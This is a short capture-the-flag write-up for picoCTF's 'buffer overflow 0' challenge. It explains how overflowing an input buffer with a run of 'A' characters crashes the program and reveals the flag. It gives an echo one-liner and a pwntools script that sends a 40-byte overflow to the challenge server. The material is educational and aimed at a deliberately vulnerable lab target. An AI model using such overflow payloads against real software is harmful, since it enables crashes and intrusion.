buffer overflow 0
Description
Smash the stack
Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here.
And connect with it using:
nc saturn.picoctf.net 65445
Solving
- Download the sourcecode and the program
- If we check the sourcecode we will see, that a sigsev will give us a flag
- Playing with program (try buffer overflow - chall title)
- You should create fake flag 🙂
- Send some A's into the program
- Take the flag.. 😀
echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | ./vuln
Here is a script, that connects to the server and gets the flag for you:
#!/usr/bin/env python
from pwn import *
host,port = 'saturn.picoctf.net', 65445
offset = 40
overflow = "A" * offset
try:
s = remote(host, port)
s.recvuntil(b'Input:')
print("Sending evil buffer...")
s.sendline(bytes(overflow,"latin-1"))
s.recv()
flag = s.recv().decode('utf-8')
print("Flag: " + flag.strip())
print("Done!")
except:
print("Could not connect.")
s.close